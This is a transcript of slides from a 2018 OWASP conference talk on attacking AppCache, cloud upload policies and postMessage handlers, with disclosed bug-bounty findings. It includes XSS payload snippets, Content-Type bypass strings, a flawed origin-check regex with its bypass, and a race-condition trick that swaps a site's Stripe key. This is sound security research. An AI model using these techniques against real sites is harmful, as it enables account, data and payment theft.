OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies

In this talk, top ranked white-hat hacker Frans Rosén (@fransrosen) will focus on methodologies and results of attacking modern web technologies. He will do a deep-dive in postMessage, how vulnerable configurations in both AWS and Google Cloud allow attackers to take full control of your assets.

Listen to 60 minutes of new hacks, bug bounty stories and learnings that will make you realize that the protocols and policies you believed to be secure are most likely not.

Transcript

1. Attacking Modern Web Technologies Frans Rosén @fransrosen
2. Attacking "Modern" Web Technologies Frans Rosén @fransrosen
3. Modern = stuff people use Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt.
4. Author name her Frans Rosén Attacking Modern Web Technologies Frans Rosén @fransrosen • "The Swedish Ninja" • Security Advisor @detectify ( twitter: @fransrosen ) • HackerOne #7 @ /leaderboard/all-time • Blog at labs.detectify.com
5. Author name her Frans Rosén Attacking Modern Web Technologies Frans Rosén @fransrosen • Winner of MVH at H1-702 Live Hacking in Vegas! • Winner Team Sweden in San Francisco (Oath) • Best bug at H1-202 in Washington (Mapbox) • Best bug at H1-3120 in Amsterdam (Dropbox)
6. Attacking Modern Web Technologies Rundown AppCache • Bug in all browsers 
 Upload Policies • Weak Implementations • Bypassing business logic 
 Deep dive in postMessage implementations • The postMessage-tracker extension • Abusing sandboxed domains • Leaks, extraction, client-side race conditions Frans Rosén @fransrosen
7. Attacking Modern Web Technologies Rundown Frans Rosén @fransrosen Tool share! AppCache • Bug in all browsers 
 Upload Policies • Weak Implementations • Bypassing business logic 
 Deep dive in postMessage implementations • The postMessage-tracker extension • Abusing sandboxed domains • Leaks, extraction, client-side race conditions
8. AppCache – Not modern! Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt.
9. Author name her Disclaimer Attacking Modern Web Technologies Frans Rosén @fransrosen https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks?slide=22 Found independently by @filedescriptor Announced last AppSecEU
10. Author name her AppCache Attacking Modern Web Technologies Frans Rosén @fransrosen
11. Author name her AppCache Attacking Modern Web Technologies Frans Rosén @fransrosen
12. Author name her AppCache Attacking Modern Web Technologies Frans Rosén @fransrosen
13. Author name her Cookie Stuffing/Bombing Attacking Modern Web Technologies Frans Rosén @fransrosen Will make EVERY page return 500 Error = Manifest FALLBACK will be used
14. Author name her Bug in every browser Attacking Modern Web Technologies Frans Rosén @fransrosen Manifest placed in /u/2241902/manifest.txt Would use the FALLBACK for EVERYTHING, even outside the dir
15. Author name her Surprise – Specification was vague Attacking Modern Web Technologies Frans Rosén @fransrosen "To mitigate this, manifests can only specify fallbacks that are in the same path as the manifest itself." https://www.w3.org/TR/2015/WD-html51-20150506/browsers.html#concept-appcache-manifest-fallback
16. Author name her Surprise – Specification was vague Attacking Modern Web Technologies Frans Rosén @fransrosen "To mitigate this, manifests can only specify fallbacks that are in the same path as the manifest itself." https://www.w3.org/TR/2015/WD-html51-20150506/browsers.html#concept-appcache-manifest-fallback This was confusing, could mean the path to the fallback- URL and that was what browsers thought. They missed: "Fallback namespaces must also be in the same path as the manifest's URL."
17. Author name her AppCache demo Attacking Modern Web Technologies Frans Rosén @fransrosen
19. Author name her AppCache on Dropbox Attacking Modern Web Technologies Frans Rosén @fransrosen • Could run XML on dl.dropboxusercontent.com as HTML • XML installs manifest in browser on root • Any file downloaded from Dropbox would use the 
 fallback XML-HTML page, which would log the current
 URL to an external logging site
 • Every secret link would be leaked to the attacker
20. Author name her AppCache on Dropbox Attacking Modern Web Technologies Frans Rosén @fransrosen • Could run XML on dl.dropboxusercontent.com as HTML • XML installs manifest in browser on root • Any file downloaded from Dropbox would use the 
 fallback XML-HTML page, which would log the current
 URL to an external logging site
 • Every secret link would be leaked to the attacker Bounty: $12,845
21. Author name her Dropbox mitigations Attacking Modern Web Technologies Frans Rosén @fransrosen • No more XML-HTML on dl.dropboxusercontent.com • No more public directory for Dropbox users • Coordinated bug reporting to every browser • No more FALLBACK on root from path file • Argumented for faster deprecation of AppCache • Random subdomains for user-files
22. Author name her Dropbox mitigations Attacking Modern Web Technologies Frans Rosén @fransrosen • No more XML-HTML on dl.dropboxusercontent.com • No more public directory for Dropbox users • Coordinated bug reporting to every browser • No more FALLBACK on root from path file • Argumented for faster deprecation of AppCache • Random subdomains for user-files Chrome Fixed Edge/IE Fixed Firefox Fixed Safari Fixed https://bugs.chromium.org/p/chromium/issues/detail?id=696806#c40 Reported 28 Feb 2017, fixed ~June 2017
23. Author name her Dropbox mitigations Attacking Modern Web Technologies Frans Rosén @fransrosen • No more XML-HTML on dl.dropboxusercontent.com • No more public directory for Dropbox users • Coordinated bug reporting to every browser • No more FALLBACK on root from path file • Argumented for faster deprecation of AppCache • Random subdomains for user-files Chrome Fixed Edge/IE Fixed Firefox Fixed Safari Fixed https://bugs.chromium.org/p/chromium/issues/detail?id=696806#c40 Reported 28 Feb 2017, fixed ~June 2017 Browser bounties: $3000
24. Author name her AppCache vulns still possible Attacking Modern Web Technologies Frans Rosén @fransrosen Requirements: • HTTPS only (was changed recently) • Files uploaded can run HTML • Files could be on a isolated sandboxed domain • Files are uploaded to the same directory for all users
25. Author name her ServiceWorkers, big brother of AppCache Attacking Modern Web Technologies Frans Rosén @fransrosen Requirements: • HTTPS only • Files uploaded can run HTML • Files could be on a isolated sandboxed domain • Files are uploaded to the root path
 For example: bucket123.s3.amazonaws.com/test.html
26. Upload Policies AWS and Google Cloud Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt.
27. Author name her Upload Policies Attacking Modern Web Technologies Frans Rosén @fransrosen A way to upload files directly to a bucket, without passing the company’s server first. " Faster upload " Secure (signed policy)
28. Author name her Upload Policies Attacking Modern Web Technologies Frans Rosén @fransrosen A way to upload files directly to a bucket, without passing the company’s server first. " Faster upload " Secure (signed policy) " Easy to do wrong!
29. Author name her Upload Policies Attacking Modern Web Technologies Frans Rosén @fransrosen Looks like this:
30. Author name her Upload Policies Attacking Modern Web Technologies Frans Rosén @fransrosen Policy is a signed base64 encoded JSON
31. Author name her Pitfalls AWS S3 Attacking Modern Web Technologies Frans Rosén @fransrosen " starts-with $key does not contain anything
 
 We can replace any file in the bucket!
32. Author name her Pitfalls AWS S3 Attacking Modern Web Technologies Frans Rosén @fransrosen " starts-with $key does not contain anything
 
 We can replace any file in the bucket! " starts-with $key does not contain path-separator
 
 We can place stuff in root, 
 remember ServiceWorkers/AppCache?
33. Author name her Pitfalls AWS S3 Attacking Modern Web Technologies Frans Rosén @fransrosen " $Content-Type uses empty starts-with + content-disp
 
 We can now upload HTML-files:
 Content-type: text/html

34. Author name her Pitfalls AWS S3 Attacking Modern Web Technologies Frans Rosén @fransrosen " $Content-Type uses empty starts-with + content-disp
 
 We can now upload HTML-files:
 Content-type: text/html
 " $Content-Type uses starts-with = image/jpeg
 
 We can still upload HTML:
 Content-type: image/jpegz;text/html
35. Author name her Custom business logic (Google Cloud) Attacking Modern Web Technologies Frans Rosén @fransrosen POST /user_uploads/signed_url/ HTTP/1.1 Host: example.com Content-Type: application/json;charset=UTF-8 {"file_name":"images/test.png","content_type":"image/png"}
36. Author name her Custom business logic (Google Cloud) Attacking Modern Web Technologies Frans Rosén @fransrosen POST /user_uploads/signed_url/ HTTP/1.1 Host: example.com Content-Type: application/json;charset=UTF-8 {"file_name":"images/test.png","content_type":"image/png"} {"signed_url":"https://storage.googleapis.com/uploads/images/test.png? Expires=1515198382&GoogleAccessId=example%40example.iam.gserviceaccount.com&
 Signature=dlMAFC2Gs22eP%2ByoAhwGqo0A0ijySYYtRdkaIHVUr%2FvwKfNSKkKwTTpBpyOF..."} Signed URL back to upload to:
37. Author name her Vulnerabilities Attacking Modern Web Technologies Frans Rosén @fransrosen " We can select what file to override
38. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen " We can select what file to override " If signed URL allows viewing = read any file
 
 
 
 Just fetch the URL and we have the invoice POST /user_uploads/signed_url/ HTTP/1.1 Host: example.com Content-Type: application/json;charset=UTF-8 {"file_name":"documents/invoice1.pdf","content_type":"application/pdf"} {"signed_url":"https://storage.googleapis.com/uploads/documents/invoice1.pdf? Expires=1515198382&GoogleAccessId=example%40example.iam.gserviceaccount.com&
 Signature=dlMAFC2Gs22eP%2ByoAhwGqo0A0ijySYYtRdkaIHVUr%2FvwKfNSKkKwTTpBpyOF..."} Vulnerabilities
39. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen " We can select what file to override " If signed URL allows viewing = read any file
 
 
 
 Just fetch the URL and we have the invoice POST /user_uploads/signed_url/ HTTP/1.1 Host: example.com Content-Type: application/json;charset=UTF-8 {"file_name":"documents/invoice1.pdf","content_type":"application/pdf"} {"signed_url":"https://storage.googleapis.com/uploads/documents/invoice1.pdf? Expires=1515198382&GoogleAccessId=example%40example.iam.gserviceaccount.com&
 Signature=dlMAFC2Gs22eP%2ByoAhwGqo0A0ijySYYtRdkaIHVUr%2FvwKfNSKkKwTTpBpyOF..."} Total bounties: ~$15,000 Vulnerabilities
40. Rolling your own policy logic sucks Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt.
41. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Goal is to reach the bucket-root, or another file Custom Policy Logic
42. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Back to the 90s! Path traversal with path normalization
43. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Back to the 90s! Path traversal with path normalization Full read access to every object + listing
44. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Expected: Regex extraction of URL-parts https://example-bucket.s3.amazonaws.com/dir/file.png Result: https://s3.amazonaws.com/example-bucket/dir/file.png?Signature..
45. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Bypass: Regex extraction of URL-parts
46. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Bypass: Regex extraction of URL-parts
47. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Bypass: Regex extraction of URL-parts Full read access to every object + listing
48. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Temporary URLs with signed links
49. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Temporary URLs with signed links
50. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Temporary URLs with signed links https://secure.example.com/files/xx11
51. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Temporary URLs with signed links https://secure.example.com/files/xx11
52. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Temporary URLs with signed links https://secure.example.com/files/xx11 Full read access to every object
53. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Full access to every object
54. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Full access to every object
55. Deep dive in postMessage Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt.
56. Author name her Birth of the postMessage-tracker extension Attacking Modern Web Technologies Frans Rosén @fransrosen • 1 year ago, discussion on last AppSecEU!
57. Author name her Birth of the postMessage-tracker extension Attacking Modern Web Technologies Frans Rosén @fransrosen • Catch every listener in all frames. • Find the function receiving the message • Log all messages btw all frames
58. Author name her Birth of the postMessage-tracker extension Attacking Modern Web Technologies Frans Rosén @fransrosen • Catch every listener in all frames. • Find the function receiving the message • Log all messages btw all frames
59. Author name her What have I found? Attacking Modern Web Technologies Frans Rosén @fransrosen Regular vuln cases (XSS)
60. Author name her What have I found? Attacking Modern Web Technologies Frans Rosén @fransrosen Regular vuln cases (XSS)
61. Author name her What have I found? Attacking Modern Web Technologies Frans Rosén @fransrosen Regular vuln cases (XSS)
62. Author name her What have I found? Attacking Modern Web Technologies Frans Rosén @fransrosen Regular vuln cases (XSS) if (e.data.JSloadScript) { if (e.data.JSloadScript.type == "iframe") { // create the new iframe element with the src given to us via the event local_create_element(doc, ['iframe', 'width', '0', 'height', '0', 'src', e.data.JSloadScript.value], parent); } else { localLoadScript(e.data.JSloadScript.value) } }
63. Author name her What have I found? Attacking Modern Web Technologies Frans Rosén @fransrosen Regular vuln cases (XSS) if (e.data.JSloadScript) { if (e.data.JSloadScript.type == "iframe") { // create the new iframe element with the src given to us via the event local_create_element(doc, ['iframe', 'width', '0', 'height', '0', 'src', e.data.JSloadScript.value], parent); } else { localLoadScript(e.data.JSloadScript.value) } } b.postMessage({"JSloadScript":{"value":"data:text/javascript,alert(document.domain)"}},'*')
64. Author name her What have I found? Attacking Modern Web Technologies Frans Rosén @fransrosen Complex ones: Data-Extraction
65. Author name her Data-Extraction Attacking Modern Web Technologies Frans Rosén @fransrosen Listener:
66. Author name her Data-Extraction Attacking Modern Web Technologies Frans Rosén @fransrosen Vulnerable origin-check:
67. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Vulnerable origin-check: Data-Extraction
68. Author name her Data-Extraction Attacking Modern Web Technologies Frans Rosén @fransrosen Looks harmless?
69. Author name her Data-Extraction Attacking Modern Web Technologies Frans Rosén @fransrosen Initiating ruleset
70. Author name her Data-Extraction Attacking Modern Web Technologies Frans Rosén @fransrosen Action-Rules:
71. Author name her Data-Extraction Attacking Modern Web Technologies Frans Rosén @fransrosen Extraction-options!
72. Author name her Data-Extraction Attacking Modern Web Technologies Frans Rosén @fransrosen Trigger: { "params": { "testRules": { "rules": [ { "name": "xxx", "triggers": { "type": "Delay", "delay": 5000 } ... } ] } } }
73. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen State: ... "states": { "type": "JSVariableExists", "name": "ClickTaleCookieDomain", "value": "example.com" }, ... Data-Extraction
74. Author name her Data-Extraction Attacking Modern Web Technologies Frans Rosén @fransrosen Action: ... "action": { "actualType": "CTEventAction", "type": "TestRuleEvent", "dynamicEventName": { "parts": [ { "type": "ElementValue", "ctSelector": { "querySelector": ".content-wrapper script" } }, { "type": "CookieValue", "name": "csrf_token" } ] }
75. Author name her Data-Extraction Attacking Modern Web Technologies Frans Rosén @fransrosen Payload:
76. Author name her Data-Extraction Attacking Modern Web Technologies Frans Rosén @fransrosen CSRF-token!
77. Author name her XSS on isolated but "trusted" domain Attacking Modern Web Technologies Frans Rosén @fransrosen Sandboxed domain being trusted and not trusted at the same time. postMessage used to transfer data from/to trusted domain.
78. Author name her Document service Attacking Modern Web Technologies Frans Rosén @fransrosen ACME.COM Create new doc
79. Author name her XSS on sandbox Attacking Modern Web Technologies Frans Rosén @fransrosen usersandbox.com
80. Author name her User creates a document Attacking Modern Web Technologies Frans Rosén @fransrosen ACME.COM usersandbox.com Create new doc
81. Author name her Sandbox opens up in iframe for doc-converter Attacking Modern Web Technologies Frans Rosén @fransrosen ACME.COM usersandbox.com usersandbox.com Create new doc
82. Author name her Hijack the iframe js, due to SOP Attacking Modern Web Technologies Frans Rosén @fransrosen ACME.COM usersandbox.com usersandbox.com Create new doc
83. Author name her User uploads file, postMessage data to converter Attacking Modern Web Technologies Frans Rosén @fransrosen ACME.COM usersandbox.com usersandbox.com
84. Author name her Iframe leaks data to attacker’s sandbox window Attacking Modern Web Technologies Frans Rosén @fransrosen ACME.COM usersandbox.com usersandbox.com
85. Author name her And we have the document-data! Attacking Modern Web Technologies Frans Rosén @fransrosen
86. Author name her What have I found? Attacking Modern Web Technologies Frans Rosén @fransrosen Client-side Race Conditions!
87. Author name her Localized welcome screen, JS loaded w/ postMsg Attacking Modern Web Technologies Frans Rosén @fransrosen Loading…
88. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen mpel.com Welcome! Välkommen! Willkommen! localeservice.com Localized welcome screen, JS loaded w/ postMsg
89. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Welcome! Välkommen! Willkommen! link.com.example.com = OK localeservice.com Localized welcome screen, JS loaded w/ postMsg
90. Author name her Only works once Attacking Modern Web Technologies Frans Rosén @fransrosen Welcome! Välkommen! Willkommen! localeservice.com
91. Author name her Only works once Attacking Modern Web Technologies Frans Rosén @fransrosen Welcome! Välkommen! Willkommen! localeservice.com
92. Author name her Curr not escaped Attacking Modern Web Technologies Frans Rosén @fransrosen Welcome! Välkommen! Willkommen!
93. Author name her Loaded JS, osl vuln param Attacking Modern Web Technologies Frans Rosén @fransrosen ...&curr=&osl='-alert(1)-'
94. Author name her alert was blocked. yawn… Attacking Modern Web Technologies Frans Rosén @fransrosen
95. Author name her alert was blocked. yawn… easy fix Attacking Modern Web Technologies Frans Rosén @fransrosen
96. Author name her Attacker-site Attacking Modern Web Technologies Frans Rosén @fransrosen link.com.example.com
97. Author name her Attacker site opens victim site Attacking Modern Web Technologies Frans Rosén @fransrosen link.com.example.com Loading…
98. setInterval(function() { if(b) b.postMessage('{"sitelist":"www.example.com/ global","siteurl":"www.example.com/uk","curr":"curr=&osl=\'-(function() {document.body.appendChild(iframe=document.createElement(\'iframe\'));window .alert=iframe.contentWindow[\'alert\'];document.body.removeChild(iframe);win dow.alert(document.domain)})()-\'"}','*') }, 10); Author name her Loaded JS Attacking Modern Web Technologies Frans Rosén @fransrosen link.com.example.com Loading…
99. setInterval(function() { if(b) b.postMessage('{"sitelist":"www.example.com/ global","siteurl":"www.example.com/uk","curr":"curr=&osl=\'-(function() {document.body.appendChild(iframe=document.createElement(\'iframe\'));window .alert=iframe.contentWindow[\'alert\'];document.body.removeChild(iframe);win dow.alert(document.domain)})()-\'"}','*') }, 10); Author name her Loaded JS Attacking Modern Web Technologies Frans Rosén @fransrosen link.com.example.com Loads mpel.js... Loading…
100. setInterval(function() { if(b) b.postMessage('{"sitelist":"www.example.com/ global","siteurl":"www.example.com/uk","curr":"curr=&osl=\'-(function() {document.body.appendChild(iframe=document.createElement(\'iframe\'));window .alert=iframe.contentWindow[\'alert\'];document.body.removeChild(iframe);win dow.alert(document.domain)})()-\'"}','*') }, 10); Author name her Loaded JS Attacking Modern Web Technologies Frans Rosén @fransrosen link.com.example.com Välkommen! Willkommen! Welcome! localeservice.com Loads mpel.js...
101. setInterval(function() { if(b) b.postMessage('{"sitelist":"www.example.com/ global","siteurl":"www.example.com/uk","curr":"curr=&osl=\'-(function() {document.body.appendChild(iframe=document.createElement(\'iframe\'));window .alert=iframe.contentWindow[\'alert\'];document.body.removeChild(iframe);win dow.alert(document.domain)})()-\'"}','*') }, 10); Author name her We won! Attacking Modern Web Technologies Frans Rosén @fransrosen link.com.example.com Välkommen! Willkommen! Welcome! localeservice.com Loads mpel.js...
102. Author name her Client-Side Race Condition Attacking Modern Web Technologies Frans Rosén @fransrosen postMessage between JS-load and iframe-load Worked in all browsers.
103. Author name her Client-Side Race Condition #2 Attacking Modern Web Technologies Frans Rosén @fransrosen Multiple bugs incoming, hang on!
104. Author name her Can you find the bug(s)? Attacking Modern Web Technologies Frans Rosén @fransrosen SecureCreditCardController.prototype.isValidOrigin = function (origin) { if (origin === null || origin === undefined) { return false; } var domains = [".example.com", ".example.to", ".example.at", ".example.ca", ".example.ch", ".example.be", ".example.de", ".example.es", ".example.fr", ".example.ie", ".example.it", ".example.nl", ".example.se", ".example.dk", ".example.no", ".example.fi", ".example.cz", ".example.pt", ".example.pl", ".example.cl", ".example.my", ".example.co.jp", ".example.co.nz", ".example.co.uk", ".example.com.au", ".example.com.br", ".example.com.ph", ".example.com.mx", ".example.com.sg", ".example.com.ar", ".example.com.tr", ".example.com.hk", ".example.com.tw"]; var escapedDomains = $.map(domains, function (domain) { return domain.replace('.', '\\.'); }); var exampleDomainsRE = '^https:\/\/.*(' + escapedDomains.join('|') + ')$'; return Boolean(origin.match(exampleDomainsRE)); };
105. Author name her 1st bug! Attacking Modern Web Technologies Frans Rosén @fransrosen SecureCreditCardController.prototype.isValidOrigin = function (origin) { if (origin === null || origin === undefined) { return false; } var domains = [".example.com", ".example.to", ".example.at", ".example.ca", ".example.ch", ".example.be", ".example.de", ".example.es", ".example.fr", ".example.ie", ".example.it", ".example.nl", ".example.se", ".example.dk", ".example.no", ".example.fi", ".example.cz", ".example.pt", ".example.pl", ".example.cl", ".example.my", ".example.co.jp", ".example.co.nz", ".example.co.uk", ".example.com.au", ".example.com.br", ".example.com.ph", ".example.com.mx", ".example.com.sg", ".example.com.ar", ".example.com.tr", ".example.com.hk", ".example.com.tw"]; var escapedDomains = $.map(domains, function (domain) { return domain.replace('.', '\\.'); }); var exampleDomainsRE = '^https:\/\/.*(' + escapedDomains.join('|') + ')$'; return Boolean(origin.match(exampleDomainsRE)); };
106. Author name her 1st bug! Attacking Modern Web Technologies Frans Rosén @fransrosen ".example.co.nz".replace('.', '\\.') "\.example.co.nz"
107. Author name her Can you find the next bug? Attacking Modern Web Technologies Frans Rosén @fransrosen SecureCreditCardController.prototype.isValidOrigin = function (origin) { if (origin === null || origin === undefined) { return false; } var domains = [".example.com", ".example.to", ".example.at", ".example.ca", ".example.ch", ".example.be", ".example.de", ".example.es", ".example.fr", ".example.ie", ".example.it", ".example.nl", ".example.se", ".example.dk", ".example.no", ".example.fi", ".example.cz", ".example.pt", ".example.pl", ".example.cl", ".example.my", ".example.co.jp", ".example.co.nz", ".example.co.uk", ".example.com.au", ".example.com.br", ".example.com.ph", ".example.com.mx", ".example.com.sg", ".example.com.ar", ".example.com.tr", ".example.com.hk", ".example.com.tw"]; var escapedDomains = $.map(domains, function (domain) { return domain.replace('.', '\\.'); }); var exampleDomainsRE = '^https:\/\/.*(' + escapedDomains.join('|') + ')$'; return Boolean(origin.match(exampleDomainsRE)); };
108. SecureCreditCardController.prototype.isValidOrigin = function (origin) { if (origin === null || origin === undefined) { return false; } var domains = [".example.com", ".example.to", ".example.at", ".example.ca", ".example.ch", ".example.be", ".example.de", ".example.es", ".example.fr", ".example.ie", ".example.it", ".example.nl", ".example.se", ".example.dk", ".example.no", ".example.fi", ".example.cz", ".example.pt", ".example.pl", ".example.cl", ".example.my", ".example.co.jp", ".example.co.nz", ".example.co.uk", ".example.com.au", ".example.com.br", ".example.com.ph", ".example.com.mx", ".example.com.sg", ".example.com.ar", ".example.com.tr", ".example.com.hk", ".example.com.tw"]; var escapedDomains = $.map(domains, function (domain) { return domain.replace('.', '\\.'); }); var exampleDomainsRE = '^https:\/\/.*(' + escapedDomains.join('|') + ')$'; return Boolean(origin.match(exampleDomainsRE)); }; Author name her 2nd bug! Attacking Modern Web Technologies Frans Rosén @fransrosen
109. Author name her .nz is allowed since 2015! Attacking Modern Web Technologies Frans Rosén @fransrosen https://en.wikipedia.org/wiki/.nz
110. Author name her 2nd bug! Attacking Modern Web Technologies Frans Rosén @fransrosen Boolean("https://www.exampleaco.nz".match('^https:\/ \/.*(\.example.co.nz)$')) true
111. Author name her 2nd bug! Attacking Modern Web Technologies Frans Rosén @fransrosen Boolean("https://www.exampleaco.nz".match('^https:\/ \/.*(\.example.co.nz)$')) true
112. Author name her Vulnerable scenario Attacking Modern Web Technologies Frans Rosén @fransrosen ilikefood.com Subscribe!
113. Author name her Opens PCI-certified domain for payment Attacking Modern Web Technologies Frans Rosén @fransrosen ilikefood.com Subscribe! foodpayments.com
114. Author name her Iframe loaded, main frame sends INIT to iframe Attacking Modern Web Technologies Frans Rosén @fransrosen ilikefood.com Subscribe! iframe.postMessage('INIT', '*') foodpayments.com
115. Author name her Iframe registers the sender of INIT as msgTarget Attacking Modern Web Technologies Frans Rosén @fransrosen ilikefood.com Subscribe! iframe.postMessage('INIT', '*') if(e.data==INIT && originOK) { msgTarget = event.source msgTarget.postMessage('INIT','*') } foodpayments.com
116. Author name her Iframe tells main all is OK Attacking Modern Web Technologies Frans Rosén @fransrosen ilikefood.com Subscribe! foodpayments.com if(e.data==INIT and e.source==iframe) { all_ok_dont_kill_frame() } msgTarget.postMessage('INIT','*')
117. Author name her Main window sends over provider data Attacking Modern Web Technologies Frans Rosén @fransrosen ilikefood.com Subscribe! if(INIT) {
 iframe.postMessage('["LOAD", "stripe","pk_abc123"]}’, '*') } foodpayments.com
118. Author name her Iframe loads payment provider and kills channel Attacking Modern Web Technologies Frans Rosén @fransrosen ilikefood.com Subscribe! if(INIT) { if(e.data[0]==LOAD && originOK) {
 initpayment(e.data[1], e.data[2])
 window.removeEventListener ('message', listener)
 } } foodpayments.com if(INIT) {
 iframe.postMessage('["LOAD", "stripe","pk_abc123"]}’, '*') }
119. Author name her Did you see it? Attacking Modern Web Technologies Frans Rosén @fransrosen
120. Author name her Open ilikefood.com from attacker Attacking Modern Web Technologies Frans Rosén @fransrosen exampleaco.nz ilikefood.com Subscribe!
121. Author name her Victim clicks subscribe, iframe is loaded Attacking Modern Web Technologies Frans Rosén @fransrosen ilikefood.com Subscribe! foodpayments.com exampleaco.nz
122. Author name her Attacker sprays out LOAD to iframe Attacking Modern Web Technologies Frans Rosén @fransrosen ilikefood.com Subscribe! foodpayments.com setInterval(function(){ child.frames[0].postMessage('["LOAD","stripe","pk_diffkey"]}’,'*')
 }, 100) exampleaco.nz
123. Author name her INIT-dance resolves, but attacker wins with LOAD Attacking Modern Web Technologies Frans Rosén @fransrosen ilikefood.com Subscribe! foodpayments.com setInterval(function(){ child.frames[0].postMessage('["LOAD","stripe","pk_diffkey"]}’,'*')
 }, 100) 'INIT'<->'INIT' exampleaco.nz
124. Author name her LOAD kills listener, we won the race! Stripe loads… Attacking Modern Web Technologies Frans Rosén @fransrosen ilikefood.com Subscribe! foodpayments.com exampleaco.nz Frame loads api.stripe.com?key=pk_diffkey…
125. Author name her It’s now the attacker’s Stripe account Attacking Modern Web Technologies Frans Rosén @fransrosen ilikefood.com Subscribe! foodpayments.com Enter credit card Pay! exampleaco.nz
126. Author name her Payment will fail for site… Attacking Modern Web Technologies Frans Rosén @fransrosen foodpayments.com Payment failed :(
127. Author name her Payment will fail for site…but worked for Stripe! Attacking Modern Web Technologies Frans Rosén @fransrosen foodpayments.com Payment failed :(
128. Author name her From Stripe-logs we can charge the card anything! Attacking Modern Web Technologies Frans Rosén @fransrosen
129. Author name her From Stripe-logs we can charge the card anything! Attacking Modern Web Technologies Frans Rosén @fransrosen
130. Author name her Client-Side Race Condition #2 Attacking Modern Web Technologies Frans Rosén @fransrosen postMessage from opener between two other postMessage-calls Chrome seems to be the only one allowing this to happen afaik.
132. Author name her postMessage-tracker Speedbumps Attacking Modern Web Technologies Frans Rosén @fransrosen
133. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen • Problem 1: Function-wrapping, Raven.js, rollbar, bugsnag, NewRelic Before: postMessage-tracker Speedbumps
134. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen • Problem 1: Function-wrapping, Raven.js, rollbar, bugsnag, NewRelic Before: After: Solution: Find wrapper and jump over it. console better due to this! postMessage-tracker Speedbumps
135. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen • Problem 2: jQuery-wrapping, such a mess (diff btw version) Before: postMessage-tracker Speedbumps
136. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen • Problem 2: jQuery-wrapping, such a mess (diff btw version) Before: After: Solution: Use either ._data, .expando or .events from jQuery object! postMessage-tracker Speedbumps
137. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen • Problem 3: Anonymous functions. Could not identify them at all. Before: postMessage-tracker Speedbumps
138. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen • Problem 3: Anonymous functions. Could not identify them at all. Before: After: Solution: Can’t extract using Function.toString() in Chrome :( Will however at least show them as tracked now postMessage-tracker Speedbumps
139. Author name her postMessage-tracker released? Attacking Modern Web Technologies Frans Rosén @fransrosen No :( I suck. "Soon"?
140. Author name her postMessage-tracker released? Attacking Modern Web Technologies Frans Rosén @fransrosen No :( I suck. "Soon"? Want to complete more features!
141. Author name her postMessage-tracker released? Attacking Modern Web Technologies Frans Rosén @fransrosen No :( I suck. "Soon"? Want to complete more features! • Trigger debugger to breakpoint messages (since we own the order) • Try to see if .origin is being used and how • If regex, run through Rex!
142. detectify Frans Rosén (@fransrosen) That’s it!